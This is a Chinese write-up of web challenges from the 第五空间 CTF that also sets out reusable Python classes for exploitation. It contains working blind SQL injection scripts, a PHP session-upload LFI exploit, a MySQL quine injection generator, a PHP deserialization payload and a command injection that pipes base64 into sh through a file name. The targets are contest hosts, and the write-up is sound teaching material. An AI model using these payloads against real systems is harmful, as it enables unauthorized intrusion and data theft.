第五空间线上赛web部分题解与模块化CTF解题工具编写的一些思考

robots

 

0x00 前言

之前在打大大小小的比赛过程中，发现其实很多题的手法和流程是一致的，只是具体的细节比如说绕过方式不同，如何在比赛中快速写好通用的逻辑，在解具体赛题的过程中又能快速实现自定义化细节呢。一个简单的思路就是利用OOP的思想，编写一些基础通用的模块，在比赛时通过继承和方法重写实现快速自定义化。

比如在一类盲注题目中，无论是时间还是布尔，一般来说我们需要拿到一个判断输入逻辑是否正确的函数，比如下面这个hack函数

    def hack(host:str,payload:str)->bool:
        data = {
            "uname":f"-1' or {payload}#",
            "passwd":f"123"
        }
        res = requests.post(f"{host}/sqli.php",data=data)
        #print(res.content)
        if b"admin" in res.content:
            return True
        return False

通过这个函数我们判断一个sql语句的逻辑结果是否正确，利用这点，我们可以利用枚举或者二分的手法来判断数据内容，从而进行盲注,一个常见的枚举函数如下图所示

    def equBlind(sql:str)->None:
        ret=""
        i = 1
        while True:
            flag = 0
            for ch in string.printable:
                payload=f'((ascii(substr(({sql}),{i},1)))={ord(ch)})'
                sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret+ch))
                sys.stdout.flush()
                if hack(payload):
                    ret=ret+ch
                    sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret))
                    sys.stdout.flush()
                    flag = 1
                    break
            if flag == 0:
                break
            i+=1
        sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")

当然，不同的题目注入的方式和注入点肯定是不一样的，需要快速的自定义细节，那么我们要继续细化各函数的功能吗，显然不太现实，而且调用起来也会很麻烦。如何在耦合和内聚中取得平衡是在模块编写中需要注意的。目前的一个简单想法就是把大的逻辑分开，比如盲注中判定sql逻辑的部分和注出数据的部分，从外部传入target，各功能之间的公用参数挂在对象上。下面是一个基础的Sql注入利用类

import requests
import threading,sys
import string

class BaseSqliHelper:
    def __init__(self,host:str) -> None:
        self.host = host
        self.pt = string.printable
        pass

    def hack(self,payload:str)->bool:
        data = {
            "uname":f"-1' or {payload}#",
            "passwd":f"123"
        }
        res = requests.post(f"{self.host}/sqli.php",data=data)
        #print(res.content)
        if b"admin" in res.content:
            return True
        return False

    def equBlind(self,sql:str)->None:
        ret=""
        i = 1
        while True:
            flag = 0
            for ch in self.pt:

                payload=f'((ascii(substr(({sql}),{i},1)))={ord(ch)})'

                sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret+ch))
                sys.stdout.flush()
                if self.hack(payload):
                    ret=ret+ch
                    sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret))
                    sys.stdout.flush()
                    flag = 1
                    break
            if flag == 0:
                break
            i+=1
        sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")

    def efBlind(self,sql:str)->None:
        ret=""
        i = 1
        while True:
            l=20
            r=130
            while(l+1<r):
                mid=(l+r)//2
                payload=f"if((ascii(substr(({sql}),{i},1)))>{mid},1,0)"
                if self.hack(payload):
                    l=mid
                else :
                    r=mid
            if(chr(r) not in self.pt):
                break
            i+=1
            ret=ret+chr(r)
            sys.stdout.write("[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name,ret))
            sys.stdout.flush()
        sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")

if __name__ == "__main__":
    host = "http://127.0.0.1:2335"
    sqlexp = BaseSqliHelper(host=host)
    print(sqlexp.hack("1=1"))
    sql = "select database()"
    sqlexp.equBlind(sql)
    sqlexp.efBlind(sql)

目前在 https://github.com/EkiXu/ekitools 仓库中实现了几个简单的模块，包括php session lfi,Sqli 以及quine相关,tests文件夹下存放了一些示例用来测试基础类功能是否正常。

一些模块利用方法将会在后面的wp中具体进行介绍。

 

0x01 EasyCleanup

看了一下源码，出题人应该是想让选手利用最多8种字符，最长15字符的rce实现getshell，然而看phpinfo();没禁php session upload progress同时给了文件包含

那么就直接拿写好的模块一把梭了,可以看到这里利用继承重写方法的方式进行快速自定义，实际解题中就是copy基础类源码中示例函数+简单修改

from ekitools.PHP_LFI import BasePHPSessionHelper
import threading,requests

host= "http://114.115.134.72:32770"

class Exp(BasePHPSessionHelper):

    def sessionInclude(self,sess_name="ekitest"):
        #sessionPath = "/var/lib/php5/sess_" + sess_name
        #sessionPath = f"/var/lib/php/sessions/sess_{sess_name}"
        sessionPath = f"/tmp/sess_{sess_name}"
        upload_url = f"{self.host}/index.php"
        include_url = f"{self.host}/index.php?file={sessionPath}"
        headers = {'Cookie':'PHPSESSID=' + sess_name}
        t = threading.Thread(target=self.createSession,args=(upload_url,sess_name))
        t.setDaemon(True)
        t.start()
        while True:
            res = requests.post(include_url,headers=headers)
            if b'Included' in res.content:
                print("[*] Get shell success.")
                print(include_url,res.content)
                break
            else:
                print("[-] retry.")
        return True

exp = Exp(host)

exp.sessionInclude("g")

 

0x02 yet_another_mysql_injection

题目提示了?source给了源码

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>


<!-- source code here:  /?source -->


<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<meta name="viewport" content="initial-scale=1.0, user-scalable=no, width=device-width">
<title>SQLi</title>
<link rel="stylesheet" type="text/css" href="./files/reset.css">
<link rel="stylesheet" type="text/css" href="./files/scanboardLogin.css">
<link rel="stylesheet" type="text/css" href="./files/animsition.css">
</head>
<body>
  <div class="wp animsition" style="animation-duration: 0.8s; opacity: 1;">
    <div class="boardLogin">
      <div class="logo ">
        LOGIN AS ADMIN!
      </div>
      <form action="index.php" method="post">
        <div class="inpGroup">
          <span class="loginIco1"></span>
          <input type="text" name="username" placeholder="请输入您的用户名">
        </div>

        <div class="inpGroup">
          <span class="loginIco2"></span>
          <input type="password" name="password" placeholder="请输入您的密码">
        </div>
        <div class="prompt">
          <p class="success">输入正确</p>
        </div>

        <button class="submit">登录</button>
      </form>
    </div>
  </div>
  <div id="particles-js"><canvas class="particles-js-canvas-el" style="width: 100%; height: 100%;" width="3360" height="1780"></canvas></div>

<script type="text/javascript" src="./files/jquery.min.js"></script>
<script type="text/javascript" src="./files/jquery.animsition.js"></script>
<script src="./files/particles.min.js"></script>
<script src="./files/app.js"></script>
<script type="text/javascript">
  $(".animsition").animsition({
      inClass               :   'fade-in',
      outClass              :   'fade-out',
      inDuration            :    800,
      outDuration           :    1000,
      linkElement           :   '.animsition-link',

      loading               :    false,
      loadingParentElement  :   'body',
      loadingClass          :   'animsition-loading',
      unSupportCss          : [ 'animation-duration',
                                '-webkit-animation-duration',
                                '-o-animation-duration'
                              ],


      overlay               :   false,

      overlayClass          :   'animsition-overlay-slide',
      overlayParentElement  :   'body'
    });
</script>

</body></html>

可以看到可控参数其实只有password,那么直接构造一个永真式

'or '1'like '1

然后发现还是报

alertMes("something wrong",'index.php');

可以推断库中没有数据，此时仍然要使得$row['password'] === $password,很容易想到通过联合注入来构造$row['password'],然而为了实现这一目标我们要使输入的password参数查出的password列值为自身。事实上这是一类quine即执行自身输出自身，quine一个常见的思路就是通过替换来构造,通过将一个较短的占位符，替换成存在的长串字符串来构造。这个考点也在Holyshield CTF和Codegate出现过

def genMysqlQuine(sql:str,debug:bool=False,tagChar:str="$")->str:
    '''
    $$用于占位
    '''
    tagCharOrd:int = ord(tagChar)
    if debug: 
        print(sql)
    sql = sql.replace('$$',f"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR({tagCharOrd}),$$)")
    text = sql.replace('$$',f'"{tagChar}"').replace("'",'"')
    sql = sql.replace('$$',f"'{test}'")
    if debug: 
        print(sql)
    return sql


if __name__ == "__main__":
    res = genMysqlQuine("UNION SELECT $$ as password -- ",tagChar="%")
    print(res)

该代码也模块化放在ekitools里了

from ekitools.quine import genMysqlQuine
import requests

host = "http://114.115.143.25:32770"

data = {
    "username":"admin",
    "password":genMysqlQuine("'union select $$ as password#",tagChar="%").replace(" ","/**/")
}

print(data)

res = requests.post(host,data=data)

print(res.content)

 

0x03 pklovecloud

直接反序列化了,好像也没啥链子。。。

<?php  
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;

    function setCinder($cinder){
        $this->cinder = $cinder;
    }
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
}  


$b = new stdClass;

$b->neutron = $heat;
$b->nova = $heat;

$a = new ace;

$a->docker = $b;
$a->filename = 'flag.php';
$exp = new acp;


$exp->setCinder($a);

var_dump(urlencode(serialize($exp)));

?>

 

0x04 PNG图片转换器

阅读相关材料

https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#command-injection

可知redis的一个特性 open能够命令注入

那么绕过手段就很多了，比如base64

import requests

url  = "http://114.115.128.215:32770"
#url = "http://127.0.0.1:4567"

print(hex(ord('.')),hex(ord("/")))

res = requests.post(f"{url}/convert",data="file=|echo Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3Nt | base64 -d | sh;.png".encode("utf-8"),headers={"Content-Type":"application/x-www-form-urlencoded"},allow_redirects=False)

print(res.content)

 

0x05 WebFtp

好像就是一个./git源码泄露，审计下代码在/Readme/mytz.php有act能获取phpinfo(),在phpinfo环境变量页面里能得到flag